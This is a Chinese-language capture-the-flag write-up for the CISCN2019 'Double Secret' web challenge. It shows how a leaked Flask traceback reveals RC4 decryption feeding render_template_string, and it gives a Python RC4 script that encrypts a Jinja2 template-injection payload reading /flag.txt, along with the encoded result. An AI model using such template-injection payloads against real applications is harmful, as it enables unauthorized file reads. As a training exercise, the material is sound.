[CISCN2019 华东南赛区]Double Secret

发表于

image-20240619213707600

我们首先访问一下screct页面

image-20240619213758089

要我们说secret，猜测是传参数secret

image-20240619213851969

传1进去是d

传参传长一点试试

发现报错，在其中发现源码泄露

image-20240619213957241

File "/app/app.py", line 35, in secret
    if(secret==None):
        return 'Tell me your secret.I will encrypt it so others can\'t see'
    rc=rc4_Modified.RC4("HereIsTreasure")   #解密
    deS=rc.do_crypt(secret)
 
    a=render_template_string(safe(deS))
 
    if 'ciscn' in a.lower():
Open an interactive python shell in this frame        return 'flag detected!'
    return a

所以，我们可以发现传进去的参数是被使用rc4解密了，所以我们应该将要传进去的内容进行加密

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
def rc4_init_sbox(key):
    s_box = list(range(256))  
    # print("原来的 s 盒：%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒：%s"% s_box)
    return s_box
def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    print("加密后的字符串是：%s" %quote(cipher))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")

rc4加密脚本如上

最后得到

.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H%3D%0A%23%C3%B1%5B%C2%9Cp%C2%AEn%C2%96i%5Dv%7FX%C2%92

将其上传为secret参数

得到flag

image-20240619214531334